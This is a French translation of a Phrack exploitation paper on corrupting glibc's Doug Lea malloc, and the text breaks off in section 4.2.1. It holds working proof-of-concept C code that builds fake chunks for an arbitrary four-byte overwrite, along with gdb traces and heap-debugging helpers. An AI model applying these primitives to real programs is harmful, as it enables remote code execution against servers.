
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

|=--------------[ Exploits avancés sur le malloc de Doug Lea  ]---------=|
|=----------------------------------------------------------------------=|
|=-----------------------[ jp <jp@corest.com>|]-------------------------=| 
|=----------------------------------------------------------------------=|

1 - Résumé
2 - Introduction
3 - Automatiser les problèmes d'exploitation
4 - Les techniques
  4.1 - La primitive aa4bmo
      4.1.1 - Premier chunk unlinkMe
	    4.1.1.1 - Preuve de concept 1 : chunk unlinkMe
      4.1.2 - Nouveau chunk unlinkMe
  4.2 - Analyse de l'agencement de la heap
      4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap
  4.3 - Reset de l'agencement - Prédiction de l'agencement initial
      - modèle du serveur
  4.4 - Obtenir des informations du processus distant
      4.4.1 - Modifier les données utilisateur statiques
              - trouver les DATAs du processus
      4.4.2 - Modifier les entrées de l'utilisateur
              - trouver l'endroit du shellcode
	    4.4.2.1 - Preuve de concept 3 : percuter la sortie
      4.4.3 - Modifier les entrées de l'utilisateur
              - trouver les données de la libc
	    4.4.3.1 - Preuve de concept 4 : libérer la sortie
      4.4.4 - Faille basée sur la fuite de mémoire de la heap
              - trouver les données de la libc
  4.5 - Mauvais traitements sur les informations qui ont fuit
      4.5.1 - Reconnaître la zone
      4.5.2 - Morecore
	    4.5.2.1 - Preuve de concept 5 : jumper avec morecore
      4.5.3 - Force brute sur le GOT de la libc
	    4.5.3.1 - Preuve de concept 6 : force brute sur le GOT de
	              la libc sous-entendue
      4.5.4 - Fingerprinting de la libc
      4.5.5 - Corruption de la zone (haut, dernier reste et
              modification du binaire)
  4.6 - Copier le shellcode "à la main"
5 - Conclusions
6 - Remerciements
7 - Références

Annexe 1 - Résumé des structures internes de malloc

---------------------------------------------------------------------------

--[ 1. Résumé

Ce papier détaille plusieurs techniques qui permettent une
exploitation plus générique et fiable des processus qui nous
fournissent la capacité de réécrire une valeur presque arbitraire de 4
octets à n'importe quel endroit.
Des techniques de plus haut niveau seront contruites au-dessus de la
technique basique du unlink() (présentée dans l'article de MaXX [2])
pour exploiter les processus qui permettent à un(e) attaquant(e) de
corrompre le malloc de Doug Lea (l'allocateur de mémoire dynamique par
défaut de Linux).
unlink() est utilisée pour forcer des fuites de mémoire spécifiques
de l'agencement de la mémoire du processus cible. L'information
obtenue est utilisée pour exploiter la cible sans aucune connaissance
à priori ou valeurs codées en dur, même lorsqu'il y a une randomization de
l'adresse de chargement de l'objet principal et/ou des librairies.

Plusieurs ruses seront présentées au cours de différents scénarios,
incluant :
    * ruse spéciale des chunks (partie rempart et partie unlikeMe)
    * prise de connaissance de l'agencement de la heap et analyse en
    utilisant les outils de debuggage
    * trouver automatiquement le shellcode injecté dans la mémoire du
    processus
    * forcer un processus distant à fournir les adresses des
    structures internes de malloc
    * chercher après un pointeur de fonction au sein de la glibc
    * injection du shellcode dans une adresse mémoire connue

La combinaison de ces techniques permet, par exemple, d'exploiter les
faillles "SSLv2 Malformed Client Key Buffer Overflow" de OpenSSL [6]
et "Directory double free" de CVS de façon totalement automatique
(sans avoir à coder en dur un quelconque offset ou adresse fixe cible que
ce soit).

---------------------------------------------------------------------------

--[ 2. Introduction

Soit une faille qui nous permet de corrompre les structures internes
de malloc (i.e. heap overflow, double free(), etc.), nous pouvons dire
qu'elle nous "fournit" la capacité de faire au moins une primitive de
"réécriture de 4 octets reflets presque arbitraires" ['almost arbitrary 4
bytes mirrored overwrite'] (aa4bmo).
Nous disons que c'est une réécriture à "reflet" car l'endroit où nous
écrivons moins 8 sera stocké dans l'adresse donnée par la valeur que
nous écrivons plus 12. Notez que nous disons presque arbitraire car
nous ne pouvons écrire que des valeurs qui sont écrivables, comme
effet secondaire de la copie mirroir.
Le concept de "primitive" a été précedemment présenté dans l'article
"Advances in format string exploitation" [4] et dans la présentation
"'About exploits writing" [5].
Les travaux "Vudo - An object superstitiously believed to embody magical
power" de Michael "MaXX" Kaempf [2] et "Once uppon a free()"' [3]
donnent des explications très détaillées sur comment obtenir la
primitive aa4bmo depuis une faille. A [8] et [9] peuvent être trouvés
les premiers exemples de l'exploitation basée sur malloc.
Nous utiliserons la technique de unlink() de [2] comme méchanisme
basique de bas niveau pour obtenir la primitive aa4bmo, que nous
utiliserons à travers tout l'article pour construire des techniques de
plus au niveau.

                  corruption                     techniques
faille        ->  des structures -> primitive -> de plus haut
                  de malloc                      niveau
----------------------------------------------------------------------
heap oveflow        technique                    libérer la sortie
double free() ->    unlink()     ->  aa4bmo   -> percuter la sortie
...                                              partie rempart
						 ...

Cet article  est principalement centré sur la question qui se pose
après que nous ayons atteint la primitive aa4bmo : que devrions-nous
faire une fois que nous connaissons un processus nous permettant
de réécrire 4 octets de sa mémoire avec des données presque
arbitraires ?
De plus, de petits trucs pour atteindre la primitive aa4bmo de façon
sûre sont expliquée.

Bien que les techniques soient présentées dans le contexte de
l'exploitation de heap overflow basé sur malloc, elles peuvent très
bien être employées par exemple pour aider dans les exploits de format
string ou toute autre faille ou combinaison d'elles, qui nous fournit
les mêmes capacités.

La recherche était centrée sur la plate-forme Linux/Intel ; les
sources de glibc-2.2.4, glibc-2.2.5 et glibc-2.3 furent utilisées,
principalement le fichier malloc.c (une version mise à jour de malloc
peut être trouvée à [1]). Au long de cet article nous utiliserons
"malloc" pour référer à l'implémentation basée sur le malloc de Doug
Lea.

---------------------------------------------------------------------------
--] 3. Automatiser les problèmes d'exploitation

Lorsqu'on tente de répondre à la question : "que devrions-nous
faire une fois que nous savons que nous pouvons réécrire 4 octets de
la mémoire du processus avec des données presque arbitraires ?", nous
nous trouvons face à plusieurs problèmes :

A] Comment pouvons-nous être sûrs que nous réécrivons les octets
désirés avec les octets désirés ?
Comme la primitive aa4bmo est la couche sous-jacente qui nous permet
d'implémenter les techniques de plus haut niveau, nous avons besoins
d'être complètement sûrs que cela fonctionne comme nous le voulons,
même lorsque nous savons que nous ne savons pas où nos données seront
logées. Donc, pour être utile, la primitive ne devrait pas crasher
pendant le processus exploité.

B] Que devrions-nous écrire ?
Nous pourrions écrire l'adresse du code que nous avons l'intention
d'exécuter, ou nous pourrions modifier une variable du processus. Dans
le cas où nous injectons notre shellcode dans le processus, nous avosn
besoin de connaître sa localisation, qui pourrait varier de même que
l'état de la heap/stack du processus en évolution.

C] Où devrions-nous écrire ?
Plusieurs endroits connus peuvent être réécrits pour modifier le flux
de l'exécution, incluant par exemple ceux montrés dans [10], [11],
[12] et [14].
Dans le cas où nous réécrivons un pointeur sur fonction (comme quand
on réécrit le cadre d'une pile, une entrée de GOT, un pointeur sur
fonction spécifique d'un processus, setjmp/longjmp, un pointeur sur
fonction d'un descripteur de fichier, etc.), nous avons besoin de
connaître sa localisation précise. La même chose arrive si nous
projetons de réécrire une variable d'un processus. Par exemple, une
adresse d'entrée de GOT pourrait être différante même lorsque le code
source est le même, car la compilation et les paramètres de linkage
peuvent donner un agencement de processus différant, comme cela se
produit avec le même code source compilé pour différantes
distribitions de Linux.

Tout au long de cet article, nos exemples seront orientés vers la
réécriture d'un pointeur sur fonction avec l'adresse du shellcode
injecté. Cependant, certaines techniques s'appliquent également à
d'autres cas.

Les exploits typiques sont basés sur une cible, codant en dur au moins
une des valeurs requises pour l'exploitation, comme l'adresse d'une
entrée GOT donnée, dépendant de la version du démon ciblé et de la
distribution Linux et de la version de la release. Bien que cela
simplifie le processus d'exploitation, il n'est pas toujours faisable
d'obtenir l'information requise (i.e. un serveur peut être configuré
pour mentir ou ne pas divulguer son numéro de version). En plus, nous
ppourrions ne pas avoir l'information dont nous avons besoin pour la
cible. Bruteforcer plus d'un paramètre d'exploit peut ne pas toujours
être possible, si chacune des valeurs ne peut être obtenue séparément.
Il y a des techniques bien connues utilisées pour améliorer la
fiabilité (probabilité de succès) d'un exploit donné, mais elles ne
sont qu'une aide pour améliorer les chances d'exploitation. Par
exemple, nous pourrions remplir le shellcode avec plus de nops, nous
pourrions également injecter une plus grande quantité de shellcode
dans le processus (selon le processus étant exploité) deduisant qu'il
y a plus de possibilité de toucher de cette façon. Bien que ces
renforcements amélioreront la fiabilité de notre exploit, ils ne sont
pas suffisants pour qu'un exploit fonctionne toujours sur n'importe
quelle cible. Pour créér un exploit entièrement fiable, nous aurons
besoin d'obtenir et l'adresse où notre shellcode est injecté et
l'adresse d'un quelconque pointeur sur fonction pour réécrire.

Dans la suite, nous parlons de comment ces exigeances requises
pourraient être accomplies de façon automatisée, sans aucune
connaissance a priori du serveur cible. La plus grande partie de
l'article détaille comment nous pouvons forcer un processus distant à
laisser fuire les informations requises en utilisant la primitive
aa4bmo.

---------------------------------------------------------------------------
--] 4. Les techniques

--] 4.1 La primitive aa4bmo

--] 4.1.1 Premier morceau de unlinkMe

Pour être sûrs que notre primitive fonctionne comme nous l'atttendons,
même dans des scénarios où nous ne sommes pas en mesure de prédire
totalement la localisation de notre faux morceau injecté, nous
construisons le "morceau unlinkMe" suivant :

 -4        -4       où      quoi -8    -11      -15      -19    ...
|--------|--------|--------|--------|--------|--------|--------|...
 tailleB  tailleA    FD       BK
 ----------- nasty chunk -----------|--------|-------------------->
                                            (X)

Nous avons juste besoin d'un appel free() pour claquer notre bloc
après le point (X) pour réécire "où" avec "quoi".

Lorsque free() est appelé la séquence suivant prend place :

- chunk-free() tente de chercher après le chunk suivant, elle prend la
  taille du chunk (<0) et l'ajoute à l'adresse du chunk, obtenant
  toujours la tailleA du "nasty chunk" comme début du prochain chunk,
  comme toute les tailles après le (X) lui sont relatives.
[NDT : je n'ai pas pu/su traduire "chunk" par autre chose que
"morceau" ou "partie". Ce n'est pas vraiment le sens exact ici donc à
partir de maintenant je laisse chunk. Désolé]

- Après, ça check le bit prev_inuse de notre chunk, mais comme nous le
  mettons (chacune des tailles après le point (X) a le bit prev_inuse,
  le bit IS_MMAPPED n'est pas mis) ça ne tente pas de consolider en
  arrière (parce que le chunk précédent "semble" être alloué).

- Enfin, ça vérifie si le faux prochain chunk (notre chunk méchant)
  est libre. Ca prend sa taille (-4) pour chercher après le chunk
  suivant, obtenant notre fausse tailleB, et check le flag prev_inuse,
  qui n'est pas mis. Donc, ça tente de unlinker notre chunk méchant
  depuis lui pour l'unir avec le chunk en train d'être libéré.

- Lorsque unlink() est appelé, nous obtenons la primitive aa4bmo. La
  technique du unlink() est décrite dans [2] et [3].

4.1.1.1 - Preuve de concept 1 : chunk unlinkMe

Nous utiliserons le code suivant pour montrer d'une façon simple le
chunk unlinkMe en action :

#define WHAT_2_WRITE  0xbfffff00
#define WHERE_2_WRITE 0xbfffff00
#define SZ            256
#define SOMEOFFSET    5 + (rand() % (SZ-1))
#define PREV_INUSE    1
#define IS_MMAP       2
int main(void){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = WHAT_2_WRITE;
   unlinkMe[i++] = WHERE_2_WRITE-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return 0;
}

Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

     if (mem == 0)    /* free(0) est sans effet */
3181      p = mem2chunk(mem);
3185      if (chunk_is_mmapped(p))    /* libérer la mémoire mmappée */

Nous n'avons pas mis le bit IS_MAPPED.

3193      ar_ptr = arena_for_ptr(p);
3203      (void)mutex_lock(&ar_ptr->mutex);
3205      chunk_free(ar_ptr, p);

Après quelques vérifications, nous atteignons chunk_free().

(gdb) s
chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221

Voyons à quoi ressemble notre chunk à un endroit au hasard...

(gdb) x/20x p
0x8049874:      0xfffffd71      0xfffffd6d      0xfffffd69      0xfffffd65
0x8049884:      0xfffffd61      0xfffffd5d      0xfffffd59      0xfffffd55
0x8049894:      0xfffffd51      0xfffffd4d      0xfffffd49      0xfffffd45
0x80498a4:      0xfffffd41      0xfffffd3d      0xfffffd39      0xfffffd35
0x80498b4:      0xfffffd31      0xfffffd2d      0xfffffd29 0xfffffd25

Nous avons dumpé le chunk en inclant son en-tête, comme reçu par
chunk,_free().

3221      INTERNAL_SIZE_T hd = p->size; /* its head field */
3235      sz = hd & ~PREV_INUSE;

(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);

En utilisant la taille relative négative, chunk_free() obtiens le
chunk suivant, voyons quel est le chunk "suivant" :

(gdb) x/20x next
0x80495e0:      0xfffffffc      0xfffffffc      0xbfffff00      0xbffffef8
0x80495f0:      0xfffffff5      0xfffffff1      0xffffffed      0xffffffe9
0x8049600:      0xffffffe5      0xffffffe1      0xffffffdd      0xffffffd9
0x8049610:      0xffffffd5      0xffffffd1      0xffffffcd      0xffffffc9
0x8049620:      0xffffffc5      0xffffffc1      0xffffffbd      0xffffffb9

(gdb) p/x nextsz
$7 = 0xfffffffc

C'est notre chunk méchant...

3239      if (next == top(ar_ptr))    /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))   /* consolidate backward */

Nous évitons la consolidation en arrière, car nous mettons le bit
prev_inuse.

3294      if (!(inuse_bit_at_offset(next, nextsz)))   
                /* consolidate forward */

Mais nous forçons une consolidation en avant. La macro
inuse_bit_at_offset() ajoute nextsz (-4) à l'adresse de notre chnuk
méchant, et cherche après le bit PREV_INUSE dans notre autre taille
-4.

3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);

unlink() est appelée avec nos valeurs fournies : 0xbffffef8 et
0xbfffff00 comme pointeurs vers l'avant et vers l'arrière (ça ne
crash pas, car ce sont des adresses valides).

             next = chunk_at_offset(p, sz);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

fronlink() est appelée et notre chunk est inséré dans le bit propre.

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049a40 - top size = 0x05c0
   bin 126 @ 0x40018430
      free_chunk @ 0x80498d8 - size 0xfffffd64

Le chunk a été inséré dans l'un des bins les plus gros... En
conséquence de sa taille "négative".
Le processus ne crashera pas si nous sommes capables de maintenir cet
état. Si plus d'appels free() touchent notre chunk, ça ne crashera
pas. Mais il crashera dans le cas où un appel malloc() ne trouve
aucun chunk libre pour satisfaire le besoin d'allocation et tente de
séparer l'un des bins dans le bin numéro 126, car il tentera de
calculer où est le chunk après le faux, sortant du rang des adresses
valides à cause de la grosse taille "négative" (ceci ne pourrait pas
arriver dans un scénario où il y a assez de mémoire allouée entre le
faux chunk et le chunk du haut, forcer cet agencement n'est pas très
difficile lorsque le serveur cible n'impose pas de limite sérrée à nos
requêtes de taille).

Nous pouvons vérifier les résultats de la primitive aa4bmo :

(gdb) x/20x 0xbfffff00

                                !!!!!!!!!!                      !!!!!!!!!!
0xbfffff00:     0xbfffff00      0x414c0065      0x653d474e      0xbffffef8
0xbfffff10:     0x6f73692e      0x39353838      0x53003531      0x415f4853
0xbfffff20:     0x41504b53      0x2f3d5353      0x2f727375      0x6562696c
0xbfffff30:     0x2f636578      0x6e65706f      0x2f687373      0x6d6f6e67
0xbfffff40:     0x73732d65      0x73612d68      0x7361706b      0x4f480073


Si nous ajoutons quelques faux appels à free() de la façon suivante :

for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);

Nous obtenons par exemple le résultat suivant :

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 126 @ 0x40018430
      free_chunk @ 0x8049958 - size 0x8049958
      free_chunk @ 0x8049954 - size 0xfffffd68
      free_chunk @ 0x8049928 - size 0xfffffd94
      free_chunk @ 0x8049820 - size 0x40018430
      free_chunk @ 0x80499c4 - size 0xfffffcf8
      free_chunk @ 0x8049818 - size 0xfffffea4

sans crasher le processus.

--] 4.1.2 - Nouveau chunk unlinkMe

Les changements introduits dans les nouvelles versions de la libc
(glibc-2.3 par exemple) affectent notre chunk unlikeMe. Le problème
principal pour nous est relatif à l'addition d'un bit de
plus. SIZE_BITS a été modifiée, de

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)

à :

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)

Le nouveau flag, NON_MAIN_ARENA est défini comme ceci :

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4

[
/* le champ taille est or-é avec NON_MAIN_ARENA si le chunk a été
obtenu depuis une zone non-principale. C'est seulement immédiatement
mis avant de donner le chunk à l'utilisateur, ci nécessaire. */
]

Ceci fait que notre chunk unlinkMe faute en deux points dans les
systèmes utilisant une nouvelle libc.

Notre premier problème est situé dans le code suivant :

public_fREe(Void_t* mem)
{
...
  ar_ptr = arena_for_chunk(p);
...
  _int_free(ar_ptr, mem);
...

où :

#define arena_for_chunk(ptr) \
 (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)

et 

/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

Si heap_for_ptr() est appelée lors du traitement de notre faux chunk,
le processus crash de la façon suivante :

0x42074a04 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a04 <free+84>:      and    $0x4,%edx
(gdb) x/20x $edx
0xffffffdd:     Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a07 <free+87>:      je     0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a09 <free+89>:      and    $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi
(gdb) x/x $eax
0x8000000:      Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.
0x42074a0e in free () from /lib/i686/libc.so.6
1: x/i $eip  0x42074a0e <free+94>:      mov    (%eax),%edi


Ensuite, notre second problème se situe lorsque la taille fournie est
masquée avec le SIZE_BITS. L'ancien code ressemblait à ceci :

      nextsz = chunksize(next);
0x400152e2 <chunk_free+64>:        mov    0x4(%edx),%ecx
0x400152e5 <chunk_free+67>:        and    $0xfffffffc,%ecx

et le nouveau code est :

      nextsize = chunksize(nextchunk);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax

Donc, nous ne pouvons plus utiliser -4, la plus petite taille que nous
pouvons fournir est -8.
Mais en plus, nous ne sommes plus capables de faire pointer chaque
chunk vers notre chunk méchant. Le code suivant montre notre nouveau
chunk unlikME qui résoud les deux problèmes :

unsigned long *aa4bmoPrimitive(unsigned long what, 
                               unsigned long where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
    // 1st nasty chunk
   unlinkMe[i++] = -4;    // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
    // 2nd nasty chunk
   unlinkMe[i++] = -4; // PREV_INUSE is not set
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
            // relative negative offset to 1st nasty chunk
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
            // relative negative offset to 2nd nasty chunk
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

Le processus est similaire à celui expliqué précedemment pour la
première version du chunk unlinkMe. A présent, nous utilisons deux
chunks méchants, pour ête capables de pointer chaque chunk vers l'un
deux. En plus, nous avons ajouté un -4 (flag PREV_INUSE non mis) avant
chacun des chunks méchants, qui est accédé dans l'étape 3 de la
section "4.1.1 Premier chunk unlinkMe", puisque -8 est la plus petite
taille que nous pouvons fournir.

Cette nouvelle version du chunk unlinkMe fonctionne dans les anciennes
et les nouvelles versions de libc. Au cours de l'article la plupart
des codes des preuves de concept utilisent la première version, en
remplacer la fonction aa4bmoPrimitive() est suffisant pour obtenir une
version updatée.

---------------------------------------------------------------------------

--] 4.2 Analyse de l'agencement de la heap

[NDT : Bon vu que ça fait plus de deux semaines que j'avais pas le
temps/courage de bosser sur la traduction de ce texte, que j'avais moi-même
fixé le deadline au 15 Octobre, et que nous sommes le 22, je m'y remets :-)
Greets à Emilie, Elodie, Placebo et aux Mathématiques pour avoir causé ce
retard inexcusable...]
[NDT : Désolé pour cette digression sans aucun sens ni rapport avec le
texte, mais le traducteur a besoin de se motiver un peu là (chouette,il ne
me reste plus qu'une trentaine de pages à traduire ;-). Donc, Aphex Twin -
Drukqs dans les oreilles, et on y va...]

Vous voudrez peut-être lire la section "Annexe I - survol des structures
internes de malloc avant d'aller plus loin.
Analyser l'agencement de la heap du processus ciblé et son évolution permet
de comprendre ce qui se passe dans la heap du processus à chaque instant,
son état, évolution, changements, etc. . Ceci permet de prédire le
comportement de l'allocateur et sa réaction à chacune de cos entrées.
Etre capable de prédire l'évolution de l'agencement de la heap, et
l'utiliser à notre avantage est etrêmement important pour obtenir un
exploit fiable.
Pour atteindre ceci, nous aurons besoin de comprendre le comportement de
l'allocation du processus (i.e. si le processus alloue de larges structures
pour chaque connexion, si beaucoup de trous de chunks/heap libres sont
générés par un handler de commande spécifique, etc.), laquelle de nos
entrées pourraient être utilisée pour forcer une grosse/petite allocation,
etc.
Nous devons porter attention à tous les usages des routines de malloc, et
comment/où nous pourrions être capables de les influencer via nos entrées
de façon à ce qu'une situation sûre soit atteinte.
Par exemple, dans un scénario de faille de double free(), nous savons que
le second appel free() (essayant de libérer de la mémoire déjà libre), va
probablement crasher le processus. Selon l'évolution de l'agencement de la
heap entre le premier free() et le second free(), la portion de mémoire
libérée deux fois pourrait : ne pas avoir changé, avoir été réallouée
plusieurs fois, avoir été unie à d'autres chunks ou avoir été réécrite et
libérée.

Les principaux facteurs que nous devons reconnaître incluent :

A] la taille du chunk : le processus a-t-il alloué de gros chunks de
   mémoire ? notre entrée est-elle stockée dans la heap ? quelles commandes
   sont stockées dans la heap ? Existe-t-il une taille limite à notre
   entrée ? Suis-je capable de forcer une extension par le haut de la heap
   (top_chunk) ?
B] comportement de l'allocation : les chunks sont-ils alloués pour chacune
   de nos connexions ? quelle taille ? les chunks sont-ils alloués
   périodiquement ? les chunks sont-ils libérés périodiquement ?
   (i.e. garbage collector asynchrone, élaguage du cache, tampons de
   sortie, etc.)
C] trous dans la heap : le processus laisse-t-il des trous ? quand ? où ?
   de quelle taille ? pouvons-nous remplir le trou avec notre entrée ?
   pouvons-nous forcer la condition d'overflow dans ce trou ? qu'est ce qui
   est situé après le trou ? sommes-nous capables de forcer la crétion de
   trous ?
D] agencement original de la heap : l'agencement de la heap est-il
   prédictible après l'initialisation du processus ? après avoir accepté la
   connection d'un client ? (ceci est relatif au mode serveur)

Au cours de nos tests, nous utilisons une version adaptée d'une
implémentation réelle de malloc prise de la glibc, qui a été modifiée pour
générer des sorties de débugging pour chaque étape des algorithmes de
l'allocateur, plus trois fonctions helper ajoutée pour dumper l'agencement
et l'état de la heap.
Ceci nous permet de comprendre ce qui se passe pendant l'exploitation,
l'état actuel des structures internes de l'allocateur, comment notre entrée
les affecte, l'agencement de la heap, etc.
Voici le code des fonctions que nous utiliserons pour dumper l'état de la
heap :

static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP DUMP ---\n");
  fprintf(stderr,
            "            ADDRESS   SIZE               FD            BK\n");

  fprintf(stderr,"sbrk_base %p\n",
          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & 
            ~MALLOC_ALIGN_MASK));

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;) {
    fprintf(stderr, "chunk     %p 0x%.4x", p, (long)p->size);

    if(p == top(ar_ptr)) {
      fprintf(stderr, " (T)\n");
      break;
    } else if(p->size == (0|PREV_INUSE)) {
      fprintf(stderr, " (Z)\n");
      break;
    }

    if(inuse(p))
       fprintf(stderr," (A)");
    else
       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
       fprintf(stderr," (LR)");
    else if(p->fd==p->bk & ~inuse(p))
       fprintf(stderr," (LC)");

    fprintf(stderr,"\n");
    p = next_chunk(p);
  }
  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem);
}



static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n");

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;p=next_chunk(p)) {
    if(p==top(ar_ptr)) {
       fprintf(stderr,"|T|\n\n");
       break;
    }
    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
       fprintf(stderr,"|L|");
       continue;
    }
    if(inuse(p)) {
       fprintf(stderr,"|A|");
       continue;
    }
       fprintf(stderr,"|%lu|",bin_index(p->size));
       continue;
    }
  }
}



static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
  int i;
  mbinptr b;
  mchunkptr p;

  fprintf(stderr,"\n--- BIN DUMP ---\n");

  (void)mutex_lock(&ar_ptr->mutex);

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));

  for (i = 1; i < NAV; ++i)
  {
    char f = 0;
    b = bin_at(ar_ptr, i);
    for (p = last(b); p != b; p = p->bk)
    {
      if(!f){
         f = 1;
         fprintf(stderr,"   bin %d @ %p\n",i,b);
      }
      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n",
             p,chunksize(p));
    }
  (void)mutex_unlock(&ar_ptr->mutex);
  fprintf(stderr,"\n");
}

[NDT : Je me rends compte que je n'ai aucune traduction pour le mot heap (à
vrai dire je n'ai qu'une vague idée de ce que ça représente, mais je n'ai
pas trouvé de mot, à par "tas"... J'ai traduit "layout" par "agencement",
mot un peu agaçant mais je fais ce que je peux, hein :). Chunk signifie
"morceau", "portion", mais ça ne colle pas trop alors je laisse.
Pour tout commentaire à ce sujet, e-mail.]



--] 4.2.1 - Preuve de concept 2 : debugging de l'agencement de la heap

Nous utiliserons le code suivant pour montrer comment les fonctions de
debug aident à analyser l'agencement de la heap.

#include <malloc.h>
int main(void){
        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
        curly = malloc(256);
        larry = malloc(256);
        moe = malloc(256);
        po = malloc(256);
        lala = malloc(256);
        free(larry);
        free(po);
        tw = malloc(128);
        piniata = malloc(128);
        dipsi = malloc(1500);
        free(dipsi);
        free(lala);
}

La section exemple de debugging aide à comprendre les algorithmes de base
de malloc et les structures de données :

(gdb) set env LD_PRELOAD ./heapy.so

Nous passons outre le vrai malloc avec nos fonctions de degguging, heapy.so
inclut donc les fonctions de dumping de l'agencement de la heap.

(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample

4               curly = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    extended top chunk:
        previous size 0x0
        new top 0x80496a0 size 0x961
        returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0961 (T)
sbrk_end  0x804a000

(gdb) p bin_dump(0x40018040)

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960

(gdb) p heap_layout(0x40018040)

--- HEAP LAYOUT ---
|A||T|

Le premier chunk est alloué, notez la différence entre la taille requise
(256 octets) et la taille passée à chunk_alloc(). Comme il n'y a pas de
chunk, le haut a besoin d'être étendu et de la mémoire est demandée au
système d'exploitation. Plus de mémoire que nécessaire est demandée,
l'espace restant est alloué au "top chunk".
Dans la sortie de heap-dump() le (A) représente un chunk alloué, alors que
le (T) signifie que le chunk est celui du haut [NDT : "top"]. Notez que la
taille du top chunk (0x961) a son dernier bit mis, indiquant que le chunk
précédent est alloué :

/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
 */

#define PREV_INUSE 0x1UL

La sortie de bin_dump() ne montre pas de bin, comme il n'y a pas encore de
chunk free, sauf depuis le haut. La sortie de heap_layout() montre juste un
chunk alloué juste après, en haut.


5               larry = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80496a0 from top chunk
    new top 0x80497a8 size 0x859

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
